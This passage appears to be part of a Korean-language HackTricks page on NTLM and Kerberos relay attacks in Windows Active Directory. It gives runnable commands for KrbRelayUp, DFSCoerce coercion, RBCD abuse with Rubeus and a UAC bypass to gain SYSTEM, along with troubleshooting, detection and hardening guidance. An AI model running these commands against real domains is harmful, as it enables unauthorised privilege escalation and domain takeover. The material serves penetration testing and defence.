  2. ์ธ์ฆ๋œ SOCKS ์„ธ์…˜(๋งŒ์•ฝ -socks ์‚ฌ์šฉ) ๋˜๋Š” ์ง์ ‘ ๋ฆด๋ ˆ์ด ๊ฒฐ๊ณผ๋ฅผ ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡์— ์‚ฌ์šฉ(LDAP ๋ณ€๊ฒฝ, SMB ์ž‘์—…, ๋˜๋Š” ์ดํ›„ ์ธ์ฆ์„ ์œ„ํ•œ AD CS ์ธ์ฆ์„œ ๋ฐœ๊ธ‰).

HTTPS ์ œ์•ฝ(8531)

  • ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์—ฌ๋Ÿฌ๋ถ„์˜ ์ธ์ฆ์„œ๋ฅผ ์‹ ๋ขฐํ•˜์ง€ ์•Š๋Š” ํ•œ HTTPS๋กœ ๋œ WSUS์˜ ์ˆ˜๋™ ๊ฐ€๋กœ์ฑ„๊ธฐ๋Š” ํšจ๊ณผ์ ์ด์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์‹ ๋ขฐ๋œ cert์ด๋‚˜ ๋‹ค๋ฅธ TLS ๋ถ„ํ•ด ์ˆ˜๋‹จ ์—†์ด๋Š” WSUS HTTPS ํŠธ๋ž˜ํ”ฝ์—์„œ NTLM ํ•ธ๋“œ์…ฐ์ดํฌ๋ฅผ ์ˆ˜์ง‘/๋ฆด๋ ˆ์ดํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๋…ธํŠธ

  • WSUS๋Š” deprecated๋กœ ๋ฐœํ‘œ๋˜์—ˆ์ง€๋งŒ ์—ฌ์ „ํžˆ ๋„๋ฆฌ ๋ฐฐํฌ๋˜์–ด ์žˆ์œผ๋ฉฐ ๋งŽ์€ ํ™˜๊ฒฝ์—์„œ HTTP(8530)๊ฐ€ ํ”ํ•ฉ๋‹ˆ๋‹ค.
  • ์œ ์šฉํ•œ ๋„๊ตฌ: wsusniff.py (HTTP WSUS ์ฒดํฌ์ธ์„ ๊ด€์ฐฐ), wsuspider.sh (GPO์—์„œ WUServer/WUStatusServer ์—ด๊ฑฐ), ๋Œ€๊ทœ๋ชจ NetExec reg-query.
  • Impacket์€ PR #2034์—์„œ ntlmrelayx์— ๋Œ€ํ•œ HTTP ๋ฆฌ์Šค๋„ˆ ์ง€์›์„ ๋ณต๊ตฌํ•จ(์›๋ž˜ PR #913์—์„œ ์ถ”๊ฐ€๋จ).

NTLM ๋กœ๊ทธ์ธ ๊ฐ•์ œ

Windows์—์„œ๋Š” ์ผ๋ถ€ ๊ถŒํ•œ ์žˆ๋Š” ๊ณ„์ •์„ ์ž„์˜์˜ ๋จธ์‹ ์— ์ธ์ฆํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด๋ ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์œผ์„ธ์š”:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack์€ ํ•œ ์„œ๋น„์Šค์—์„œ AP-REQ ticket์„ ํ›”์ณ ๋™์ผํ•œ computer-account key๋ฅผ ๊ณต์œ ํ•˜๋Š”(๋‘ SPN์ด ๋™์ผํ•œ $ ๋จธ์‹  ๊ณ„์ •์— ์žˆ๊ธฐ ๋•Œ๋ฌธ์—) ๋‘ ๋ฒˆ์งธ ์„œ๋น„์Šค์— ์žฌ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” SPN์˜ service class๊ฐ€ ๋‹ค๋ฅด๋”๋ผ๋„(e.g. CIFS/ โ†’ LDAP/) ๋™์ž‘ํ•˜๋Š”๋ฐ, ํ‹ฐ์ผ“์„ ๋ณตํ˜ธํ™”ํ•˜๋Š” ํ‚ค๊ฐ€ SPN ๋ฌธ์ž์—ด ์ž์ฒด๊ฐ€ ์•„๋‹Œ ๋จธ์‹ ์˜ NT hash์ด๊ธฐ ๋•Œ๋ฌธ์ด๋ฉฐ SPN ๋ฌธ์ž์—ด์€ ์„œ๋ช…์˜ ์ผ๋ถ€๊ฐ€ ์•„๋‹™๋‹ˆ๋‹ค.

NTLM relay์™€ ๋‹ฌ๋ฆฌ ํ™‰์€ ๊ฐ™์€ ํ˜ธ์ŠคํŠธ๋กœ ์ œํ•œ๋˜์ง€๋งŒ, LDAP์— ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํ”„๋กœํ† ์ฝœ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋ฉด Resource-Based Constrained Delegation (RBCD) ๋˜๋Š” AD CS enrollment๋กœ ์ด์–ด์ ธ ๋‹จ๋ฒˆ์— NT AUTHORITY\SYSTEM์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

TokenPurposeRelay relevance
TGT / AS-REQ โ†” REP์‚ฌ์šฉ์ž๋ฅผ KDC์— ์ฆ๋ช…๋ณ€๊ฒฝ ์—†์Œ
Service ticket / TGS-REQ โ†” REPํ•˜๋‚˜์˜ SPN์— ๋ฐ”์ธ๋”ฉ; SPN ์†Œ์œ ์ž์˜ ํ‚ค๋กœ ์•”ํ˜ธํ™”๋™์ผ ๊ณ„์ •์„ ๊ณต์œ ํ•˜๋ฉด ๊ต์ฒด ๊ฐ€๋Šฅ
AP-REQํด๋ผ์ด์–ธํŠธ๊ฐ€ ์„œ๋น„์Šค์— TGS๋ฅผ ์ „์†ก์šฐ๋ฆฌ๊ฐ€ ํ›”์ณ์„œ ์žฌ์ƒํ•˜๋Š” ๊ฒƒ
  • ํ‹ฐ์ผ“์€ SPN์„ ์†Œ์œ ํ•œ ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ์œ ๋„ ํ‚ค๋กœ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค.
  • AP-REQ ๋‚ด๋ถ€์˜ Authenticator๋Š” 5๋ถ„ ํƒ€์ž„์Šคํƒฌํ”„๋ฅผ ๊ฐ€์ง€๋ฉฐ, ํ•ด๋‹น ์ฐฝ ๋‚ด์—์„œ ์žฌ์ƒํ•˜๋ฉด ์„œ๋น„์Šค ์บ์‹œ๊ฐ€ ์ค‘๋ณต์„ ๊ฐ์ง€ํ•  ๋•Œ๊นŒ์ง€ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค.
  • Windows๋Š” ํ‹ฐ์ผ“์˜ SPN ๋ฌธ์ž์—ด์ด ์—ฌ๋Ÿฌ๋ถ„์ด ์ ‘๊ทผํ•œ ์„œ๋น„์Šค์™€ ์ผ์น˜ํ•˜๋Š”์ง€ ๊ฑฐ์˜ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ, ์ผ๋ฐ˜์ ์œผ๋กœ CIFS/HOST์šฉ ํ‹ฐ์ผ“์ด LDAP/HOST์—์„œ ์ •์ƒ์ ์œผ๋กœ ๋ณตํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค.
    1. Kerberos๋ฅผ ๋ฆด๋ ˆ์ดํ•˜๋ ค๋ฉด ๋ฌด์—‡์ด ์ฐธ์ด์–ด์•ผ ํ•˜๋Š”๊ฐ€
  1. ๊ณต์œ  ํ‚ค: ์ถœ๋ฐœ์ง€์™€ ๋Œ€์ƒ SPN์ด ๋™์ผํ•œ ์ปดํ“จํ„ฐ ๊ณ„์ •์— ์†ํ•ด์•ผ ํ•จ(Windows ์„œ๋ฒ„์˜ ๊ธฐ๋ณธ ์„ค์ •).
  2. ์ฑ„๋„ ๋ณดํ˜ธ ์—†์Œ: SMB/LDAP signing ๊บผ์ง ๋ฐ HTTP/LDAPS์— ๋Œ€ํ•œ EPA ๊บผ์ง.
  3. ์ธ์ฆ์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM ๋“ฑ.
  4. ํ‹ฐ์ผ“ ์ถœ์ฒ˜๊ฐ€ ์ด๋ฏธ ์‚ฌ์šฉ๋˜์ง€ ์•Š์Œ: ์‹ค์ œ ํŒจํ‚ท์ด ๋„๋‹ฌํ•˜๊ธฐ ์ „์— ๋ ˆ์ด์Šค์—์„œ ์ด๊ธฐ๊ฑฐ๋‚˜ ์™„์ „ํžˆ ์ฐจ๋‹จํ•ด์•ผ ํ•จ; ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์„œ๋ฒ„์˜ ์žฌ์ƒ ์บ์‹œ๊ฐ€ Event 4649๋ฅผ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.
  5. ํ†ต์‹ ์—์„œ MitM์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ โ€” ์˜ˆ๋ฅผ ๋“ค์–ด DNS๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” DNSAdmins ๊ทธ๋ฃน์˜ ์ผ์›์ด๊ฑฐ๋‚˜ ํ”ผํ•ด์ž์˜ HOST ํŒŒ์ผ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ.

Kerberos Relay Steps

  • 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 ๋ฆด๋ ˆ์ด ๋ฆฌ์Šค๋„ˆ ์‹œ์ž‘

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp์€ KrbRelay โ†’ LDAP โ†’ RBCD โ†’ Rubeus โ†’ SCM bypass๋ฅผ ํ•˜๋‚˜์˜ binary๋กœ ๋ฌถ์–ด ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce๋Š” DC๊ฐ€ Kerberos CIFS/DC01 ํ‹ฐ์ผ“์„ ์šฐ๋ฆฌ์—๊ฒŒ ๋ณด๋‚ด๊ฒŒ ํ•œ๋‹ค.

  • 3.4 Relay the AP-REQ

KrbRelay๋Š” SMB์—์„œ GSS blob์„ ์ถ”์ถœํ•ด LDAP bind๋กœ ์žฌํฌ์žฅํ•œ ๋’ค ldap://DC01๋กœ ์ „๋‹ฌํ•œ๋‹คโ€”์ธ์ฆ์€ ๊ฐ™์€ ํ‚ค๋กœ ๋ณตํ˜ธํ™”๋˜๊ธฐ ๋•Œ๋ฌธ์— ์„ฑ๊ณตํ•œ๋‹ค.

  • 3.5 Abuse LDAP โžœ RBCD โžœ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

์ด์ œ NT AUTHORITY\SYSTEM ๊ถŒํ•œ์„ ํš๋“ํ–ˆ์Šต๋‹ˆ๋‹ค.

์•Œ์•„๋‘˜ ๊ฐ€์น˜๊ฐ€ ์žˆ๋Š” ์ถ”๊ฐ€ ๊ฒฝ๋กœ

VectorTrickWhy it matters
AuthIP / IPSec๊ฐ€์งœ ์„œ๋ฒ„๊ฐ€ ์ž„์˜์˜ SPN์„ ํฌํ•จํ•œ GSS-ID payload๋ฅผ ์ „์†ก; ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋‹น์‹ ์—๊ฒŒ ์ง์ ‘ AP-REQ๋ฅผ ์ƒ์„ฑ์„œ๋ธŒ๋„ท ๊ฐ„์—๋„ ๋™์ž‘; ๊ธฐ๋ณธ์ ์œผ๋กœ machine creds
DCOM / MSRPC์•…์„ฑ OXID resolver๊ฐ€ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์ž„์˜์˜ SPN๊ณผ ํฌํŠธ๋กœ ์ธ์ฆํ•˜๋„๋ก ๊ฐ•์ œ์ˆœ์ˆ˜ํ•œ ๋กœ์ปฌ priv-esc; ๋ฐฉํ™”๋ฒฝ ์šฐํšŒ
AD CS Web Enrollmachine ํ‹ฐ์ผ“์„ HTTP/CA๋กœ ๋ฆด๋ ˆ์ดํ•˜์—ฌ ์ธ์ฆ์„œ ํš๋“, ๊ทธ ํ›„ PKINIT์œผ๋กœ TGTs ์ƒ์„ฑLDAP ์„œ๋ช… ๋ฐฉ์–ด ์šฐํšŒ
Shadow CredentialsmsDS-KeyCredentialLink์— ์ž‘์„ฑํ•œ ํ›„, ์œ„์กฐ ํ‚ค ์Œ์œผ๋กœ PKINIT ์‹คํ–‰์ปดํ“จํ„ฐ ๊ณ„์ •์„ ์ถ”๊ฐ€ํ•  ํ•„์š” ์—†์Œ

๋ฌธ์ œ ํ•ด๊ฒฐ

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDํ‹ฐ์ผ“ ํ‚ค โ‰  ๋Œ€์ƒ ํ‚ค์ž˜๋ชป๋œ ํ˜ธ์ŠคํŠธ/SPN
KRB_AP_ERR_SKEW์‹œ์Šคํ…œ ์‹œ๊ณ„ ์˜ค์ฐจ > 5๋ถ„์‹œ๊ฐ„ ๋™๊ธฐํ™” ๋˜๋Š” w32tm ์‚ฌ์šฉ
LDAP bind fails์„œ๋ช… ๊ฐ•์ œAD CS ๊ฒฝ๋กœ ์‚ฌ์šฉ ๋˜๋Š” ์„œ๋ช… ๋น„ํ™œ์„ฑํ™”
Event 4649 spam์„œ๋น„์Šค๊ฐ€ ์ค‘๋ณต Authenticator๋ฅผ ๊ฐ์ง€์›๋ณธ ํŒจํ‚ท ์ฐจ๋‹จ ๋˜๋Š” ๋ ˆ์ด์Šค(race)

ํƒ์ง€

  • ๋ช‡ ์ดˆ ๋‚ด์— ๋™์ผ ์ถœ์ฒ˜์—์„œ CIFS/, HTTP/, LDAP/์— ๋Œ€ํ•œ Event 4769 ๊ธ‰์ฆ.
  • ์„œ๋น„์Šค์—์„œ์˜ Event 4649๋Š” ์žฌ์ƒ(replay) ๊ฐ์ง€๋ฅผ ์˜๋ฏธ.
  • ๋กœ์ปฌ SCM์œผ๋กœ์˜ ๋ฆด๋ ˆ์ด์ธ 127.0.0.1์—์„œ์˜ Kerberos ๋กœ๊ทธ์˜จ์€ ๋งค์šฐ ์˜์‹ฌ์Šค๋Ÿฌ์›€โ€”KrbRelayUp ๋ฌธ์„œ์˜ Sigma ๊ทœ์น™์œผ๋กœ ๋งคํ•‘ํ•˜์„ธ์š”.
  • msDS-AllowedToActOnBehalfOfOtherIdentity ๋˜๋Š” msDS-KeyCredentialLink ์†์„ฑ ๋ณ€๊ฒฝ์„ ์ฃผ์‹œํ•˜์„ธ์š”.

๊ฐ•ํ™”

  1. LDAP & SMB ์„œ๋ช… + EPA๋ฅผ ๋ชจ๋“  ์„œ๋ฒ„์—์„œ ๊ฐ•์ œ ์ ์šฉ.
  2. SPNs ๋ถ„๋ฆฌ: HTTP๊ฐ€ CIFS/LDAP์™€ ๋™์ผ ๊ณ„์ •์— ์žˆ์ง€ ์•Š๋„๋ก.
  3. ๊ฐ•์ œ(coercion) ๋ฒกํ„ฐ ํŒจ์น˜ (PetitPotam KB5005413, DFS, AuthIP).
  4. ๋ฌด๋‹จ ์ปดํ“จํ„ฐ ๊ฐ€์ž… ์ฐจ๋‹จ์„ ์œ„ํ•ด ms-DS-MachineAccountQuota = 0 ์„ค์ •.
  5. Event 4649 ๋ฐ ์˜ˆ๊ธฐ์น˜ ์•Š์€ ๋ฃจํ”„๋ฐฑ Kerberos ๋กœ๊ทธ์˜จ์— ๋Œ€ํ•ด ๊ฒฝ๋ณด ์„ค์ •.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ